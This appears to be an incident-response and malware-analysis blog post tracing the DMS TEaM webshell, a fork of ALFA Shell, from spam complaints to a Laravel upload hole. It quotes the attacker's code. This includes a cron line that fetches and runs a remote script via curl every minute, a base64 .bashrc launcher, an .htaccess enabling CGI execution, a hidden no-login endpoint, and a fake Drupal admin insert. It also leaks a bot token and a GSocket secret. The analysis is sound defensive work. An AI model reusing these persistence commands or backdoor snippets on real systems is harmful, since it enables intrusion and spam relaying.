Hunting DMS TEaM Shell v4.1 — Tracing an Indonesian Threat Actor’s Custom Webshell

How I discovered, reverse engineered, and traced a customized Iranian webshell deployed by an Indonesian attacker — from spam complaints to running the shell locally

The Discovery

It started with spam complaints.

Users were reporting emails coming from a domain I manage. Investigating the mail server logs, I found bounce-back notifications flooding into staff mailboxes — thousands of delivery failures from mass spam runs. The domain had hit the hosting provider’s rate limiter: 8,894 defers against a 500/hour cap.

Digging into the email headers revealed SMTP authentication from two foreign IPs:

• 109.194.106.144 — ER-Telecom, Yoshkar-Ola, Russia
• 125.162.208.67 — Telkom Indonesia, Makassar, Sulawesi

Someone had authenticated with valid email credentials and was using the mail server as a spam relay. But how did they get the credentials?

Finding the Backdoor

While auditing the server, I found something in the crontab that didn’t belong:

* * * * * [ ! -f /tmp/gsocket_running.pid ] && ( bash -c "$(curl -fsSL https://shelllung.pages.dev/x)" & echo $! > /tmp/gsocket_running.pid )

A GSocket backdoor — downloading and executing a payload from shelllung.pages.dev every minute, keeping itself alive, disguising the process as [netns] to blend in with kernel threads and hide from ps.

Checking .bashrc revealed a second persistence mechanism — a base64-encoded payload that launched the same backdoor on every terminal session:

{ echo L2Jpbi9wa2lsbC...|base64 -d|bash;} 2>/dev/null #defunct-kernel

Decoded:

GS_ARGS="-k /home/.config/htop/defunct.dat -liqD" exec -a '[netns]' '/home/.config/htop/defunct'

The key file defunct.dat contained a single string: DaqBbS9rLAPxWJDd5VNGQs — the GSocket shared secret used to authenticate the attacker’s reverse connection.

Analyzing the GSocket Installer

Fetching the payload from shelllung.pages.dev/x before taking it down revealed the full installer script. Embedded inside were hardcoded C2 details:

Telegram Bot Token: 7987825643:AAGcB32uPlP8IosBqC_9QD4VbscjVzCXAQE
Telegram Chat ID: 7100389907
Telegram Group: https://t.me/Kurlung_S0006
Binary disguise name: Krlung  # note: matches group name without vowels

Every new server compromise automatically notified the attacker via Telegram. The bot (@Manjikkal_Bot) confirmed active when queried via the Telegram API — though getUpdates returned empty, suggesting updates had already been consumed.

The C2 domain shelllung.pages.dev was a Cloudflare Pages site approximately one year old. The Krlung binary name directly mirrors the Kurlung_S0006 Telegram group — the attacker’s own community handle.

Finding the Entry Point

With the backdoor cleaned up, the next question was: how did they get in?

Scanning public_html for recently modified files revealed:

public/vendor/laravel-filemanager/files/folder-1/WIBU.php

A 1.88MB PHP file in the Laravel File Manager’s upload directory. Created July 31 — three weeks before the spam run was detected.

The laravel-filemanager package had been deployed without authentication middleware, making the upload endpoint publicly accessible. The attacker found it, uploaded WIBU.php, and had full server access from that point.

Inside the same directory, an attacker-created DMS_DATA/dmscgiapi/ folder contained a custom .htaccess:

#Coded By DeMonS x Drakania
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .dms
AddHandler cgi-script .dms

This configured Apache to execute .dms files as CGI scripts — a secondary persistence mechanism allowing code execution even if the PHP shell was removed.

Decoding WIBU.php — DMS TEaM Shell v4.1

The file was heavily obfuscated — 1.88MB of nested base64 string concatenations ultimately feeding a single eval(). Replacing the eval with a file write gave us 13,040 lines of decoded PHP.

The shell’s own config block revealed its identity immediately:

define("__DMS_VERSION__", "4.1");
define("__DMS_CODE_NAME__", "Drakania");
define("__DMS_DATA_FOLDER__", "DMS_DATA");

Login credentials hardcoded in the config:

• Username: dms
• Password hash: 8b973913c3531f33cb920b0dbbefa462 (MD5 of angsa4)

“Angsa” means goose in Indonesian/Malay.

Running It Locally

After cleaning the server, I ran the decoded shell in a local PHP development server to see exactly what the attacker’s interface looked like. Visiting WIBU.php first shows a convincing fake 403 Forbidden error — pressing Tab reveals a hidden password field. After login, a full dark-themed control panel loads with the Demon Slayer anime GIF as background.

The menu reveals the full capability list:

Hidden Endpoint

The shell includes a secondary backdoor requiring no login:

if(isset($_GET["drakania"])){
    // Full shell access: file upload + command execution
    // Displays attacker's IP via $_SERVER['REMOTE_ADDR']
    echo "<b style='color: #7CFC00'>Your Ip Address is: </b>" . $_SERVER['REMOTE_ADDR'];
}

Visiting shell.php?drakania gives immediate unauthenticated access. Notably, the attacker’s IP would be displayed on this page — any server access logs capturing requests to this endpoint would have revealed their connecting IP.

Update Server & Marketplace

Every time the shell loads, it phones home to the Iranian ALFA TEAM infrastructure:

$json = $update->Send("http://solevisible.com/update.json?ver=4.1");

The update server can push new content, update the copyright notice, inject additional JavaScript, and control a built-in marketplace. This is effectively malware-as-a-service — the original Iranian developers track active deployments and monetize through module sales.

Drupal Hijacker Detail

One particularly interesting capability: the Drupal hijacker creates a fake admin account using a trolling email address:

$create = "insert into users (uid,name,pass,mail) values('$uid','$admin','$hash','dmsxdrakania@fbi.gov')";

The FBI domain is pure trolling — a common trait in Indonesian hacker culture.

Attribution — The ALFA TEaM Fork

The most significant finding came from comparing WIBU.php against the original ALFA Shell source on GitHub (nicxlau/alfa-shell).

DMS TEaM Shell v4.1 is a direct fork of ALFA Shell — an Iranian webshell developed by the group operating as solevisible (contact: solevisible@gmail.com) since at least 2012. The Iranian Telegram channel @solevisible was subsequently banned for TOS violations.

Attribution Chain

ALFA TEaM (Iran, ~2012)
    └── Created Alfa Shell v3.0.2
        └── Drakania/DeMonS (Indonesia, ~2024)
            └── Forked, rebranded as DMS TEaM Shell v4.1
                └── Added GSocket C2 + Telegram notifications
                    └── Deployed against [redacted] server — July 31, 2026

Exact Modifications

The Tehran timezone being preserved is a notable oversight — anyone analyzing the shell would reasonably attribute it to an Iranian operator. The actual operator is Indonesian.

Image Upload Timestamp

The Cloudinary account du0yya4rl hosting the shell’s background images contains a revealing timestamp in the URL:

https://res.cloudinary.com/du0yya4rl/image/upload/v1732286419/tanjiro-vs-nezuko...

Unix timestamp 1732286419 = November 22, 2024 — the date Drakania built and uploaded assets for this shell version, approximately 8 months before deployment.

Attacker Profile

Bot bio analysis: The Telegram bot @Manjikkal_Bot has the bio: “Gaya Santri - Kelakuan Jordi” — Indonesian internet slang meaning roughly “acts religious, behaves perversely,” a reference to a well-known Indonesian internet meme. This firmly confirms Indonesian origin despite the bot being named after a location in Kerala, India.

Attack Timeline

Attacker’s Credential Verification Method

The 2-minute gap between Humble Bundle registrations across 4 accounts is particularly interesting — it reveals an automated credential stuffing script working through a list of stolen email/password combinations, registering accounts on third-party services to verify which credentials are valid before using them for spam. The Shopify verification emails 3 days earlier were the same process on a different platform.

Indicators of Compromise (IOCs)

Detection

File-based:

find / -name "defunct.dat" 2>/dev/null
find / -path "*/.config/htop/defunct" 2>/dev/null
find /var/www -name "*.php" -size +1M 2>/dev/null  # oversized PHP files
grep -r "DaqBbS9rLAPxWJDd5VNGQs" / 2>/dev/null
grep -r "__DMS_CODE_NAME__\|drakania\|Dms TEaM" /var/www 2>/dev/null

Process-based:

ps aux | grep -i "gsocket\|gs-netcat\|shelllung\|netns"
crontab -l | grep -i "shelllung\|gsocket\|pages.dev"

Network-based:

• Outbound connections to shelllung.pages.dev
• DNS queries for solevisible.com from web server processes
• SMTP authentication from foreign IPs not matching known senders

Root Cause & Lessons

The entire compromise stemmed from a single misconfiguration — an unauthenticated file upload endpoint. No zero-days, no sophisticated exploitation. An automated scanner found a publicly accessible upload form and used it.

Key fixes:

• Always require authentication on file manager routes in Laravel (Route::middleware(['auth']))
• Block PHP file uploads at the web server level regardless of application-level checks
• Keep access logs for longer than the default rotation period — 48 hours is forensically useless
• Monitor outbound SMTP authentication for foreign IPs
• Add crontab monitoring — any new cron job on a web server should alert

Conclusion

DMS TEaM Shell v4.1 is a professionally built, actively maintained criminal toolkit — a fork of the decade-old Iranian ALFA Shell, extended with modern C2 capabilities by an Indonesian operator working under the handles Drakania and DeMonS.

The attack was opportunistic — automated scanners probing the internet for misconfigured Laravel deployments. The tooling was sophisticated, the persistence was layered across crontab and .bashrc, and the attacker had 3 weeks of undetected access before a mass spam run finally exposed them.

The most interesting finding was the attribution chain: an Indonesian attacker using Iranian malware infrastructure, with C2 notifications delivered via Telegram, the binary named after the attacker’s own community group, and a Demon Slayer anime GIF as the login background.

The shell is gone, the backdoors are cleaned, and the IOCs are documented. If you find defunct.dat, [netns] processes you didn’t create, or cron jobs fetching from Cloudflare Pages domains — you have the same infection.

All analysis was performed on systems I am authorized to administer, or on the malware samples in an isolated local environment. No third-party systems were accessed.

Tags: cybersecurity malware-analysis threat-intelligence webshell incident-response php indonesia gsocket alfa-shell